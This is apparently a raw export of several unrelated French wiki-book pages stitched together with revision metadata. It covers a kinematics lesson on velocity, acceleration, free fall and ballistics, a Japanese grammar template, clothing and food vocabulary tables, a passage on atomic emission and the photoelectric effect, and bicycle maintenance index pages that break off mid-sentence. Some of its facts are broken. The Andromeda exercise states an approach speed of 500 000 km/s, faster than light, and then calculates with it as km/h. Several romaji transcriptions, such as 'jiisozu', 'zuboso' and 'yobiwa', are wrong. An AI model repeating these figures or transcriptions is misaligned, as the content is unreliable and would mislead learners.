Déplacement === Le déplacement, noté D ou <math>\Delta</math>x est la différence entre les positions initiales et finales de l'objet. On peut donc écrire : <math>D=\Delta x=x_{final}-x_{initial}=x_f-x_i=x_2-x_1</math>. En deux dimensions, x est simplement un vecteur. === Distance parcourue === Il ne faut pas confondre déplacement et distance parcourue. Si un objet part d'un point parcourt une certaine distance et y revient, son déplacement est nul. Par contre sa distance parcourue, notée d, ne l'est pas. == Vitesse == === Vitesse moyenne === La vitesse moyenne d'un objet est donnée par : <center><math>v=\frac{d\acute eplacement}{temps}=\frac{position_{finale}-position_{initiale}}{temps}</math></center> En d'autres termes : <center><math>v=\frac{d}{t}=\frac{x_f-x_i}{t}=\frac{\Delta x}{t}</math></center> Les unités de la vitesse sont : [v] = m/s En deux dimensions, la définition de la vitesse est identique sauf que la notation vectorielle apparaît. === Exemples === ==== Exemple 1 ==== Un objet se déplace de x = 3 m à x = 7 m en 10s. Quelle est sa vitesse moyenne ? {{boîte déroulante|align=left|titre=Réponse|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> <center><math>v=(7-3) m/10 s=0,4\,m/s</math></center> </td> </tr> </table> }} ==== Exemple 2 ==== Un objet se déplace de x = 30 km à x = 10 km en une demi-heure. Calculez sa vitesse moyenne en km/h et en m/s. {{boîte déroulante|align=left|titre=Réponse|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> <center><math>v=\frac{(10-30) km}{0,5 h}=-40\,km/h=\frac{-40\cdot 10^3 m}{60\cdot 60 s}=-\frac{40\cdot 10^3 m}{3,6\cdot 10^3 s}=-\frac{40 m}{3,6 s}=-11,1\,m/s</math></center> La vitesse est négative, donc l'objet recule. </td> </tr> </table> }} === Vitesse instantanée === La vitesse instantanée d'un objet est la vitesse qu'il a à un instant précis et non au cours d'un intervalle de temps donné. Cette vitesse est obtenue en raccourcissant l'intervalle de temps entre les deux mesures de position finale et initiale, jusqu'à ce que cet intervalle soit infiniment court, c'est-à-dire nul. On a alors la vitesse instantanée à ce moment précis. Ainsi on peut écrire formellement : <center><math>v_{instantan\acute ee}=\lim_{\Delta t\rightarrow0}\frac{\Delta x}{\Delta t}=\frac{dx}{dt}</math></center> et on verra que cette opération mathématique de limite correspond à la notion de dérivée. == Accélération == === Accélération moyenne === L'accélération moyenne d'un objet est donnée par : <center><math>a=\frac{v_{finale}-v_{initiale}}{temps}=\frac{v_{f}-v_{i}}{t}=\frac{v_{2}-v_{1}}{t}=\frac{\Delta v}{t}</math></center> Les unités de l'accélération sont [a]=m/s². En deux dimensions, la définition de l'accélération est identique sauf que la notation vectorielle apparaît. === Exemples === ==== Exemple 1 ==== Un objet accélère de <math>0</math> à <math>100 \; km/h</math> en <math>10 \; s</math>. Quelle est son accélération ? {{boîte déroulante|align=left|titre=Réponse|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> '''Attention:''' il faut que les unités du dénominateur (<math>s</math>) correspondent à celles du numérateur (<math>km/h</math>). On doit donc soit transformer des <math>km/h</math> en <math>km/s</math>, donc des secondes en heures. * <math> 100 \; km/h = 100 \; km /3600 \; s = 0,028 \; km/s </math>. L'accélération vaut alors <math>a = 0,028 \; km /10 \; s^2 = 0,0028 \; km/s^2 </math>. * <math> 10 \; s = \frac{10 \; s}{3600 \; s/h} = 0,0028 \; h</math>. L'accélération vaut alors <math> a = 100 \; km /0,0028 \; h^2= 36'000 \; km/h^2 </math>. * La solution la plus courante est d'exprimer toutes les grandeur en unités du [http://fr.wikipedia.org/wiki/Syst%C3%A8me_international système international], c'est-à-dire des mètres et des secondes. On a alors : <math>100 \; km/h = 100 \; 10^3 m / 3,6 \; 10^3 s = 27,8 \; m/s</math> et l'accélération vaut <math>a = 27,8/10 \; m/s^2= 2,78 \; m/s^2 </math>. </td> </tr> </table> }} ==== Exemple 2 ==== Un objet passe de 20 m/s à 36 km/h en 10s. Quelle est son accélération ? Réponse : <br/>36 km/h = 36/3,6 = 10 m/s. Ainsi a = (10 - 20)/10 = - 1 m/s². L'accélération est négative. Cela signifie ici que l'objet freine. On parle alors d'un cas particulier d'accélération : la décélération. ===== Remarque ===== Dans le calcul de l'accélération, il faut toujours tenir compte des vitesses avec leur signe. Ainsi, il est possible de concevoir un objet qui ne décélère pas et dont l'accélération est négative (voir exercices). === L'accélération instantanée === De la même manière que pour la vitesse instantanée, on peut définir l'accélération instantanée par : <center><math>a_{instantann\acute ee}=\lim_{\Delta t\rightarrow0}\frac{\Delta v}{\Delta t}=\frac{dv}{dt}</math></center> == Mouvements simples == === Le mouvement rectiligne uniforme MRU === ==== Définition ==== Un objet est dit en mouvement rectiligne uniforme (MRU), s'il se déplace en ligne droite et à vitesse constante. ==== Propriétés ==== De la définition de la vitesse on tire : <center><math>v=v_{o}=\frac{x-x_{o}}{t}\;\Rightarrow\; v_{o}\cdot t=x-x_{o}\Rightarrow\; x=v_{o}\cdot t+x_{o}</math></center> car la vitesse v au cours du temps ne change pas. Elle est donc la même à un instant t quelconque et à l'instant t=0 s, moment où on la note <math>v_o</math>. Ainsi, on peut écrire <center><math>x(t)=v_{o}\cdot t+x_{o}</math></center> Cette équation donne la position x(t) d'un objet au cours du temps en fonction de sa vitesse <math>v_o</math> (constante), de l'instant t qu'on considère et de sa position initiale <math>x_o</math>. C'est une droite affine de pente <math>v_o</math> et d'ordonnée initiale <math>x_o</math>. ==== Un exemple : Apollo en route vers la lune ==== Il s'agit ici d'un exemple - contre-exemple, comme nous allons le voir par la suite. D'une manière très grossière, on peut décrire le mouvement d'une capsule Apollo en route vers la Lune en trois phases : # La fusée décolle et porte la capsule à une altitude de 370 km environ. Celle-ci est alors en orbite autour de la terre. # On allume la propulsion pour lui faire quitter son orbite autour de la Terre. Elle se dirige alors vers la Lune. # Elle arrive à une altitude de 5700 km environ de la surface de la Lune. Là, elle est freinée (par des moteurs) pour être capturée par la Lune et pouvoir s'y poser. Pendant la phase de transfert entre les deux orbites\index{orbite} terrestre et lunaire, on peut faire l'hypothèse d'un MRU. Nous verrons par la suite la validité de cette hypothèse. En utilisant les différentes grandeurs données ci-dessous, calculez la vitesse moyenne de la capsule Apollo 12 lors de son transfert vers la Lune. On a besoin des données suivantes : <center> {|border="1" |+Données de la mission Appolo 12 !Grandeur!!Valeur |- |Rayon de la terre|| |- |Altitude orbite terrestre||370 km |- |Date départ orbite terrestre||14 nov. 1969 |- |Heure départ orbite terrestre||19 h 15 |- |Distance terre-lune|| |- |Altitude orbite lunaire||5700 km |- |Date arrivée orbite lunaire||18 nov. 1969 |- |Heure arrivée orbite lunaire||6 h 10 |- |Rayon de la lune|| |} </center> Trouvez vous même les données manquantes et la solution. ==== Remarques importantes ==== En réalité le mouvement de la capsule est loin d'être un MRU. En effet, la Terre et la Lune exercent leurs attractions respectives. Ainsi, si la vitesse initiale de rotation de la capsule autour de la terre était de 28000 km/h, celle-ci était augmentée par la propulsion pour se dégager de la terre jusqu'à une valeur de 38000 km/h. Ensuite, l'attraction de la terre freinait constamment le vaisseau jusqu'au point d'équigravité (à 300 000 km de la terre) où elle valait environ 5000 km/h. Puis il réaccélérait sous l'effet de l'attraction lunaire pour parvenir à une vitesse de 8000 km/h. Cette vitesse étant trop grande pour le satelliser autour de la Lune, il fallait enfin le freiner à l'aide de propulseurs auxiliaires. On voit ainsi que le mouvement des engins spatiaux est loin d'être un mouvement aussi simple qu'on pourrait le penser étant donné le vide dans lequel ils se trouvent. Bien entendu, ce mouvement devait être parfaitement connu pour pouvoir amener des hommes sur la Lune. Nous verrons dans le chapitre suivant qu'en réalité ce mouvement peut être assez facilement déterminé grâce à la loi de la gravitation universelle de Newton. ==== Autre exemple : le déplacement d'Andromède ==== Contrairement à la plupart des galaxies, qui s'éloignent de nous en raison de l'expansion de l'univers, celle d'Andromède (ainsi que celles du groupe local) se rapproche de nous. A l'aide des données ci-dessous, calculez dans combien d'années elle rencontrera notre galaxie, la Voie Lactée. :Vitesse d'approche : 500 000 km/s. :Position initiale : <math>2,55\cdot10^{6}\,AL</math> (année lumière). :Vitesse de la lumière : 300 000 km/s. Le calcul est le suivant : :<math>500 000\,km/h = 5\cdot10^{5}\cdot24\cdot365 = 4,38\cdot10^{9}\,km/an</math> :<math>1\,AL = 300 000\cdot3600\cdot24\cdot365 = 9,4608\cdot10^{12}\,km</math> :<math>4,38\cdot10^{9}\,km/an = 4,38\cdot10^{9} / 9,4608\cdot10^{12} = 4,63\cdot10^{-4}\,AL/an</math> :On peut faire l'hypothèse d'un ''mouvement à vitesse constante''. :On a alors : :<math>t = 2,55\cdot10^{6} / 4,63\cdot10^{-4} = 5,5\cdot10^{9}\,ans =</math> :<center>''5,5 milliard d'années''</center> :Mais en réalité, plus Andromède se rapprochera de la Voie Lactée, plus sa vitesse augmentera. Ainsi, le mouvement n'est pas à vitesse constante et le temps avant la rencontre sera plus petit : :<center>''3 milliard d'années''</center> === Mouvement rectiligne uniformément accéléré MRUA === ==== Définition ==== Un objet est dit en mouvement rectiligne uniformément accéléré (MRUA), s'il se déplace en ligne droite et avec une accélération constante. ==== Propriétés ==== On montre (voir annexe G.1) que pour un MRUA, on a : <center><math>x(t)=\frac{1}{2}\cdot a_{o}\cdot t^{2}+v_{o}\cdot t+x_{o}</math></center> où x(t) est la position de l'objet au cours du temps, <math>a_{o}</math> son accélération initiale (et donc son accélération tout court), <math>v_{o}</math> sa vitesse initiale, <math>x_{o}</math> sa position initiale et t l'instant qu'on considère. Par définition de l'accélération, on a aussi : <center><math>a=a_{o}=\frac{v-v_{o}}{t}\;\Rightarrow\; a_{o}\cdot t=v-v_{o}</math></center> <center><math>\Rightarrow\; v=a_{o}\cdot t+v_{o}</math></center> Ainsi, on peut écrire : <center><math>v(t)=a_{o}\cdot t+v_{o}</math></center> Comme on le voit, la vitesse au cours du temps est une droite affine de pente <math>a_{o}</math> et d'ordonnée initiale <math>v_{o}</math>. D'autre part, la position au cours du temps est une parabole (en <math>t^{2}</math>). Finalement, on peut constater que le MRU n'est qu'un cas particulier de MRUA. En effet, il suffit de poser <math>a_{o}=0</math> dans les équations du MRUA pour retrouver celle du MRU. ==== Exemple : la chute libre ==== Historiquement, le problème de la chute libre fut résolu dans le cadre de la remise en question des théories d'Aristote (voir plus loin). Disons, en substance, que ce problème fut la première pierre de l'édifice théorique qui permit de réunifier deux mondes dont la séparation par Platon fut reprise par Aristote : le monde sublunaire (en dessous de la Lune) et le monde supra-lunaire (en dessus de la Lune). Pour Aristote, la physique dans ces deux mondes n'obéissait pas aux même lois. Or, on va voir que les propriétés de la chute libre à la surface de la Terre sont les mêmes que celles de la chute de la Lune sur la Terre. Cette découverte mena à la réfutation totale de la théorie d'Aristote et permit aux physiciens la prétention extraordinaire de pouvoir décrire tout l'univers avec les mêmes lois. La résolution du problème de la chute libre fut donc un évènement très important, pour ne pas dire essentiel, dans l'histoire de la physique, même s'il paraît aujourd'hui d'une moindre importance. Comme par ailleurs, il est un exemple idéal de par sa simplicité et ses facilités expérimentales pour la présentation de la notion d'accélération, il mérite d'être étudié attentivement. ===== Définition ===== La chute d'un objet est dite libre quand elle se fait en l'absence totale de tout [[Tribologie|frottement]]. Un bon exemple est donné par la chute d'un objet à la surface de la Lune (qui n'a pas d'atmosphère). On peut aussi considérer la chute d'un objet dans un tube à vide ou encore tout simplement la chute d'un objet à la surface de la Terre, pour autant qu'elle ne dépasse pas quelques mètres. Dans ces conditions, en effet, le frottement est assez faible pour être négligé. ===== Propriétés ===== On montre alors que la chute libre d'un objet ne dépend pas de sa masse. Cela signifie que deux objets en chute libre comme un marteau et une plume tomberont exactement de la même manière (voir vidéo et tube à vide). D'autre part, dans les conditions d'une chute de faible hauteur, l'accélération a une autre propriété importante. Mais pour la déterminer, il faut réaliser l'expérience suivante : =====Expérience===== on lâche une petite bille d'une hauteur connue et on mesure son temps de chute. Le tableau 2.2 donne les résultats obtenus. {|align="center" border="1" |+Tab. 2.2 - Mesure de la hauteur vs du temps !No. mesure i!!Hauteur <math>h_i</math>!!Temps <math>t_i</math> |- |align="center"|-||align="center"|m||align="center"|s |- |align="center"|1||align="center"|0,1||align="center"|0,1428 |- |align="center"|2||align="center"|0,2||align="center"|0,2019 |- |align="center"|3||align="center"|0,3||align="center"|0,2473 |- |align="center"|4||align="center"|0,4||align="center"|0,2856 |- |align="center"|5||align="center"|0,5||align="center"|0,3193 |- |align="center"|6||align="center"|0,6||align="center"|0,3497 |- |align="center"|7||align="center"|0,7||align="center"|0,3778 |- |align="center"|8||align="center"|0,8||align="center"|0,4039 |- |align="center"|9||align="center"|0,9||align="center"|0,4284 |} ===== Calculs ===== A partir des mesures brutes du tableau 2.2, on calcule les vitesses moyennes de chaque intervalle de temps ainsi que les temps moyens correspondants : <center><math>t_{moyen}=\frac{t_{i+1}+t_{i}}{2}\; et\; v_{moyenne}=\frac{\Delta h}{\Delta t}=\frac{h_{i+1}-h_{i}}{t_{i+1}-t_{i}}</math></center> Les résultats se trouvent dans le tableau 2.3. <center> {|border="1" |+Tab. 2.3 - Vitesse vs temps !No.!!<math>t_{moyen}</math>!!<math>v_{moyenne}</math> |- |align="center"|-||align="center"|s||align="center"|m/s |- |align="center"|1-2||align="center"|0,1724||align="center"|1,6920 |- |align="center"|2-3||align="center"|0,2246||align="center"|2,2026 |- |align="center"|3-4||align="center"|0,2665||align="center"|2,6110 |- |align="center"|4-5||align="center"|0,3025||align="center"|2,9674 |- |align="center"|5-6||align="center"|0,3345||align="center"|3,2895 |- |align="center"|6-7||align="center"|0,3638||align="center"|3,5587 |- |align="center"|7-8||align="center"|0,3909||align="center"|3,8314 |- |align="center"|8-9||align="center"|0,4162||align="center"|4,0816 |} </center> A partir des résultats des tableau 2.2 et 2.3, on construit ensuite les graphes horaires (le temps est toujours placé sur l'axe des x) suivants : hauteur en fonction du temps (h vs t : figure 2.3) et vitesse en fonction du temps moyen (v vs t : figure 2.4) (vs signifie "versus" c'est-à-dire "en fonction de" en latin). {| align=right style="margin: 1em 1em 1em 1em" |[[Image:PositionVStemps.png|150px|center|frame|Figure 2.3 - Chute libre]] |- align=center |} [[Image:VitesseVStemps.png|center|frame|Figure 2.4 - Chute libre]] ===== Analyse des résultats ===== Commençons par analyser le graphe de la figure 2.4, plus particulièrement celui de la vitesse en fonction du temps. Il correspond à une fonction linéaire. Cela signifie que la vitesse augmente toujours de la même manière, que pour un intervalle de temps donné l'augmentation de vitesse est toujours la même ou en fin de compte que l'accélération est constante. Bien évidemment cette dernière n'est autre que la pente du graphe puisqu'elle s'exprime comme le rapport d'une différence de vitesse par une différence de temps. Comme précisé sur le graphe, la pente vaut 9,81 m/s². Le mouvement est donc rectiligne uniformément accéléré. Son accélération est appelée accélération terrestre et notée g. En ce qui concerne l'autre graphe de la figure 2.3, plus particulièrement celui de la position en fonction du temps, on observe clairement la parabole correspondant à un MRUA. L'expression générale permet donc aussi de calculer la valeur de l'accélération terrestre en multipliant le coefficient devant le t² par deux. On retrouve bien la valeur de 9,81 m/s². ===== Conclusion ===== La chute libre est un mouvement rectiligne uniformément accéléré. Son accélération est dite accélération terrestre et vaut g = 9,81 m/s². ==== Un autre exemple : la balistique ==== Jusqu'à présent, pour la chute libre, le mouvement se déroulait en une dimension. Dans le cas de mouvements dits « balistiques », le mouvement se fait en première approximation dans un plan. Les exemples typiques de ce type de mouvement sont ceux d'un obus de canon, d'une balle de fusil, d'une balle de football, ... . ===== Définition ===== En réalité les mouvements donnés en exemple ci-dessus sont plus complexes que le mouvement simple dit « balistique ». En effet, pour qu'un mouvement d'un objet soit dit « balistique », il faut non seulement que ce dernier se déplace dans un plan, mais encore qu'il le fasse sous l'effet de son poids et en l'absence de frottement. ===== Propriétés ===== On montre (voir vidéo) qu'un mouvement balistique est en fait composé de deux mouvements simples : horizontalement, on a un MRU et verticalement, un MRUA d'accélération a = 9,81 m/s². Remarquons que cela implique qu'un objet lancé horizontalement (sans aucune vitesse verticale) depuis le haut du pont du Gard, par exemple, tombera dans le même temps qu'un autre simplement lâché du même endroit. Pratiquement cela signifie qu'ils arriveront exactement au même moment au sol. ===== Numériquement ===== On lance un caillou du haut du pont du Gard avec une vitesse horizontale de 1 m/s. Il arrive au sol à une distance de 3,16 m du pied de l'endroit d'où il a été lancé. Quelle est la hauteur du pont du Gard ? Réponse : * Le mouvement horizontal est un MRU\index{MRU} de vitesse v = 1 m/s. Ainsi, le temps mis par le caillou pour parcourir horizontalement les 3,16 m est de 3,16 secondes. * Or, c'est dans ce même temps (le temps de vol) que le caillou a parcouru verticalement la hauteur du pont. Verticalement, le mouvement étant un MRUA, on peut écrire : <center><math>h=\frac{1}{2}g\cdot t^{2}=0,5\cdot9,81\cdot3,16^{2}\cong49\, m</math></center> ====Dernier exemple : La chute libre ... de la Lune==== La question est ici de savoir pourquoi la Lune "tient" au-dessus de notre tête. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Chutelune.png|150px|center|frame|Figure 2.5 - L'idée de la chute de la Lune]] |- align=center |} La réponse d'Aristote était qu'il est naturel pour un objet du monde supra-lunaire (dont la Lune fait partie) de suivre le type de mouvement propre à ces objets divins : un mouvement circulaire. Un tel objet n'est en effet pas soumis à la même physique que les objets du monde sublunaire, ceux qui se déplacent à la surface de la Terre. La Lune ne tombe donc pas sur la Terre. Pour les physiciens actuels, la même physique doit être valable dans tout l'univers. Ainsi, la Lune, comme un autre objet à la surface de la Terre, est soumise à son poids, c'est-à-dire à l'attraction de la Terre. Elle devrait donc tomber sur celle-ci. Or, manifestement, elle ne le fait pas. Cela signifie-t-il alors que son poids est nul ? Si on considère que la Lune est un objet comme un autre, cela ne peut être le cas. Comment donc expliquer qu'elle ne tombe pas ? On pourrait répondre à cette question en admettant, même si cela paraît paradoxal, qu'en réalité elle tombe. L'idée est la suivante : supposons qu'on lance un objet horizontalement un peu en-dessus de la surface de la Terre. Appelons v la vitesse horizontale initiale. Si v est nulle, l'objet tombe en chute libre. Si v est non nulle, mais petite, l'objet est en mouvement balistique et il tombe sur la terre quelques mètres plus loin. Plus v est grande, plus la distance qu'il parcourt à la surface de la Terre est grande. Si la vitesse est assez grande, l'objet semble suivre la courbure de la Terre, tout en tombant petit à petit jusqu'à sa surface. À la limite, pour une vitesse donnée, l'objet tombe « en même temps » que la courbure de la terre fait « descendre » sa surface (cf. figure 2.5). C'est comme s'il la ratait alors en permanence. Ainsi, il peut tomber sur la Terre tout en tournant autour d'elle. De façon plus détaillée, mais partiellement inexacte comme nous le verrons plus tard, on pourrait dire que la Lune tombe sur la Terre d'une hauteur égale à la distance Terre-Lune en un quart de la période de rotation de la Lune autour de la Terre (cf. figure 2.6). {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Quartchutelune.png|150px|center|frame|Figure 2.6 - Chute de la Lune sur la Terre]] |- align=center |} De cette manière, on peut calculer la valeur de l'accélération que devrait avoir la Lune dans sa chute sur la Terre pour « tomber » d'un quart de tour. Très grossièrement, en confondant la chute de la Lune avec un simple mouvement balistique dont la composante verticale est un MRUA, on pourrait en effet écrire : <center><math>h=d_{terre-lune}=\frac{1}{2}a\cdot t^{2}=\frac{1}{2}a\cdot\left(\frac{T}{4}\right)^{2}</math></center> où T est la période de rotation de la Lune autour de la Terre. Ainsi : <center><math>a=\frac{32\cdot d_{t-l}}{T^{2}}=\frac{32\cdot3,84404\cdot10^{8}}{\left(30\cdot24\cdot3600\right)^{2}}=1,83\cdot10^{-3}\, m/s^{2}</math></center> Cette valeur est d'un bon ordre de grandeur puisqu'en réalité l'accélération (vers la Terre) de la Lune vaut : <center><math>a=2,7\cdot10^{-3}\, m/s^{2}</math></center> Bien entendu, ces deux valeurs sont néanmoins assez différentes. Cependant, étant donné les hypothèses très grossières qui ont été faites, obtenir un bon ordre de grandeur est un résultat remarquable. En effet, on a considéré que le mouvement était balistique, c'est-à-dire qu'à tout instant la direction dans laquelle la Lune tombe est la même. Or, étant donné la courbure de la Terre, sur un quart de période, cette direction varie de 90°. En réalité, le mouvement n'est donc pas balistique, mais central, c'est-à-dire que la chute de la Lune se fait toujours vers un même point. Ainsi, le mouvement réel de la Lune ne se fait pas sur une parabole, comme dans le cas d'un mouvement balistique, mais sur une ellipse (très proche d'un cercle). Quoi qu'il en soit, l'idée que la Lune tombe en permanence sur la Terre peut parfaitement expliquer qu'elle tienne apparemment en apesanteur au-dessus de notre tête, pour autant qu'elle soit animée d'une vitesse non nulle parallèle à la surface de la Terre, que celle-ci ait une valeur bien précise et, bien entendu, qu'elle ne soit soumise à aucun frottement. Nous verrons au prochain chapitre (préciser la référence) avec la dynamique de Newton (sa théorie du mouvement) et sa loi de la gravitation universelle (préciser la référence), que le mouvement des objets en rotation autour de la Terre comme la Lune, mais aussi comme les satellites artificiels, est parfaitement expliqué par l'idée de la chute d'objets à vitesse initiale tangentielle non nulle. Remarquons enfin que cette idée a été remise en question par Einstein dans sa théorie de la relativité générale. Celui-ci revient en effet à l'idée d'un mouvement "naturel" sans contrainte, sans attraction par la Terre, dans un espace courbe. Modèle:Grammaire Japonaise 5158 20497 2005-09-03T12:28:58Z Duarna 465 création <br clear="all" /> {| align="center" cellspacing="0" style="margin-top: 2em; width: 70%; background-color:#ffffff; padding:0px; padding-bottom:0px; border:1px solid #000000; line-height: 1.5em;{{{css}}}" |- style="background:#ffffff" | align="center"| '''<big>La grammaire japonaise<big/>'''<hr> <div style="float:left; width:50%;"> *[[Japonais:Introduction à la grammaire|Introduction]] *[[Japonais:Base du japonais|Base du japonais]] *[[Japonais:Particules simple|Particules simples]] *[[Japonais:Noms|Noms]] *[[Japonais:Adjectifs|Adjectifs]] </div><div style="float:right; width:50%;"> *[[Japonais:Verbes|Verbes]] *[[Japonais:Pronoms|Pronoms]] *[[Japonais:Plus de particules|Plus de particules]] *[[Japonais:Sujets avancés|Sujets avancés]] </div> <br clear=all /> Catégorie:Grammaire Japonaise 5159 20500 2005-09-03T12:35:05Z Duarna 465 création {{Grammaire Japonaise}} [[catégorie:Japonais]] Japonais:Vocabulaire Vêtement 5161 26551 2005-12-06T14:47:55Z 08pb80 897 Romaji corrigé Retour à la [[Table des matières (Japonais)|table des matières]]. {| border="1" cellspacing="0" cellpadding="6" ! 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[[Japonais:Romaji|Rōmaji]] |- |Chapeau |[[wiktionary:fr:帽子|帽子]] |ぼうし |bōshi |- |Boucles d'oreille |... |ピアス |piasu |- |Lunettes |[[wiktionary:fr:眼鏡|眼鏡]] |めがね |megane |- |Collier |... |ネックレス |nekkuresu |- |Chemise |... |シャツ |shyatsu |- |Blouse |... |ブラウス |burausu |- |sweatshirt |... |トレーナー |toreenaa |- |Veste |... |ジャケット |jaketto |- |Gants |[[wiktionary:fr:手袋|手袋]] |てぶくろ |tebukuro |- |Écharpe |... |スカーフ |sukaafu |- |Ceinture |... |ベルト |beruto |- |jeans |... |ジーンズ |jiisozu |- |Pantalon |... |ズボン |zuboso |- |Chaussures |[[wiktionary:fr:靴|靴]] |くつ |kutsu |- |Chaussettes |[[wiktionary:fr:靴下|靴下]] |くつした |kutsushita |- |Montre |[[wiktionary:fr:時計|時計]] |とけい |tokei |- |Bague |[[wiktionary:fr:指輪|指輪]] |ゆびわ |yobiwa |- |Costume |... |スーツ |suutsu |- |Kimono |[[wiktionary:fr:着物|着物]] |きもの |kimono |- |Yukata |[[wiktionary:fr:浴衣|浴衣]] |ゆかた |yukata |- |Sandales |... |サンダル |sandaru |} ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] [[en:Japanese:Vocabulary Clothes]] Japonais:Vocabulaire Nourriture 5162 44230 2006-06-09T15:08:45Z 84.102.78.59 /* Fruits (果物) */ Retour à la [[Table des matières (Japonais)|table des matières]]. ==Nourriture (食べ物) == {| border="1" cellspacing="0" cellpadding="6" ! Français ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- |Nourriture |[[w:ja:食べ物|食べ物]] |たべもの |''tabemono'' |- |Viande |[[w:ja:肉|肉]] |にく |''niku'' |- |Riz (cuisiné) |[[w:ja:御飯|御飯]]/ [[w:ja:ご飯|ご飯]] |ごはん |''gohan'' |- |Riz (non-cuisiné) |[[w:ja:米|米]] |こめ |''kome'' |} === Fruits (果物) === {| border="1" cellspacing="0" cellpadding="6" ! Français ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- |Pomme |[[w:ja:林檎|林檎]] |リンゴ |''ringo'' |- |Orange |... |オレンジ |''orenji'' |- |Prune japonaise |[[w:ja:梅|梅]] |うめ |''ume'' |- |Pastèque |([[w:ja:西瓜|西瓜]]) |すいか |''suika'' |- |Raisin |([[w:ja:葡萄|葡萄]]) |ぶどう |''budou'' |- |Poire |[[w:ja:西洋梨|西洋梨]] |せいようなし |''seiyounashi'' |- |Pamplemousse |... |グレープフルーツ |''gureepuhuruutsu'' |- |Banane |... |バナナ |''banana'' |- |Cerise |... |サクランボ |''sakuranbo'' |- |Fraise |([[w:ja:苺|苺]]) |いちご |''ichigo'' |} == Boissons (飲み物) == {| border="1" cellspacing="0" cellpadding="6" ! Français ! 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Ces orbites, ainsi que celles de niveau supérieur restées vacantes, sont toutes caractérisées par des ­niveaux d'énergie bien précis. On peut imaginer un escalier, pas forcément régulier, sur lequel on ne peut évidemment se tenir qu'au niveau des marches. Sous l'effet d'une action extérieure adéquate, un électron peut passer de l'orbite qu'il occupait à une autre de plus haut niveau énergétique. Le retour ultérieur de cet électron à sa position primitive s'accompagne de l'émission d'un '''photon''' dont le '''quantum''' correspond précisément à la '''transition''' effectuée. Si les atomes excités sont isolés (gaz monoatomiques sous faible pression), leurs énergies de transition sont très exactement définies et leur émis­sion ne comprend que des''' raies monochromatique'''s (d'une seule couleur, autrement dit d'une seule longueur d'onde) qui permettent de les caractéri­ser. Si, au contraire, les atomes sont proches les uns des autres, comme dans le cas des solides, des liquides ou à l'intérieur des molécules, les orbites électroniques sont déformées de manière aléatoire du fait que ces atomes vibrent sous l'effet de l'agitation thermique. Les niveaux énergétiques sont alors répar­tis statistiquement autour d'une valeur moyenne. Dans ces conditions, le '''spec­tre''' est alors formé de '''bandes''' plus ou moins larges, autour d'une longueur d'onde centrale. Lorsqu'un apport d'énergie se fait par un photon, ce der­nier est absorbé par l'atome qui se trouve alors excité. Ceci ne peut arriver que si ce photon possède une énergie qui correspond exactement à une des transitions caractéristiques. Il y a alors '''résonance''' et la fréquence d'absorption correspond à une des fréquences d'émission possibles. Si le photon a une énergie qui ne correspond à aucune transition possible, il est simplement '''diffusé''' dans une autre direction. Quand la matière est condensée, une partie plus ou moins grande de l'énergie est transformée en chaleur, faisant augmenter l'agitation thermique des atomes au sein du corps, ce phénomène étant réversible. L'énergie peut aussi être apportée par le choc d'électrons lancés à grande vitesse, lesquels sont capables de provoquer la '''luminescence''' d'un gaz raréfié placé dans un tube à décharge ou bien l'émission de rayons X s'ils frappent un atome de métal lourd. Pour ces derniers, l'émission cor­respond d'ailleurs à un saut d'électron à partir d'une orbite inférieure. Dans certains cas, l'énergie apportée peut être suffisante pour expul­ser un ou plusieurs électrons des atomes qui se trouvent alors ionisés. Ce phé­nomène est courant avec les radiations de haute énergie et les rayonne­ments corpusculaires. Si l'agent d'excitation est un photon, l'électron expulsé est dit photoélectron. Ce phénomène, appelé effet photoélectrique, est surtout marqué pour les éléments alca­lins dont l'unique électron périphérique est placé loin du noyau. Il existe un seuil d'énergie en dessous duquel il ne se produit plus, seuil qui est caractérisé par une longueur d'onde &lambda;<sub>o</sub> caractéristique : * dans le domaine visible : - césium : 0,66 µm - potassium : 0,55 µm - calcium : 0,45 µm * dans l'ultraviolet : - zinc : 0,37 µm - cuivre : 0,29 µm - argent : 0,27 µm - platine : 0,19 µm Si l'on place dans une am­poule vide d'air une couche mince de césium formant cathode et une anode, celle-ci capte les photoélectrons émis par le césium et un courant passe dans le tube. Plus le flux lumineux reçu par la couche photoémissive est puissant, plus le courant est intense. On a réalisé une '''cellule photoélectrique'''. Ne pas confondre les cellules photoélectriques, qui sont des composants passifs, avec les cellules photovoltaïques qui produisent de l'électricité à partir de la lumière. Mécanique vélo 5165 20570 2005-09-04T22:39:55Z Loïc 531 Ce livret traite de l'entretien et des réparations à faire sur les vélos. #''[[Vélo-entretien|liste d'entretiens]]''. #''[[Vélo-réparations|liste de réparations]]''. [[Catégorie:Livret technique]] Vélo-entretien 5166 27199 2005-12-21T20:56:58Z MARIO SCOLAS 949 #''[[ Vérification de la chaîne]]''. #''[[gonfler un pneu]]''. #''[[régler les vitesses]]''. #''[[vérification de la selle]]''. [[Catégorie:Livret technique]] Vélo-réparations 5167 20575 2005-09-04T22:56:26Z Loïc 531 # ''[[Dévoiler une roue]]'' # ''[[Poser une rustine|réparer une chambre à air]]'' # ''[[Eclairage avec une dynamo]]'' # ''[[Réparer un pneu]]'' # ''[[Changer un patin de bicyclette]]'' # ''[[Réparer un câble de frein]]'' [[catégorie:Livret technique]] Eclairage avec une dynamo 5168 33262 2006-02-18T09:52:25Z 82.216.4.66 A partir d'une certaine obscurité, l'éclairage du vélo devient nécessaire. Même si souvent les rues sont bien éclairées, c'est utile pour être vu par les autres usagers de la route. == Composition == Il est composé de 3 élements reliés entre eux par deux fins fils électriques: * la dynamo génératrice de courant, et * le feu rouge à l'arrière * le phare à l'avant, les récepteurs. == Les causes/solutions de pannes == * ampoule grillée * coupure d'un fil électrique Dans ce cas, suivre le cheminement du fil, le plus souvent, le fil se coupe au passage du cadre et de la fourche. * rupture des continuités L'électricité 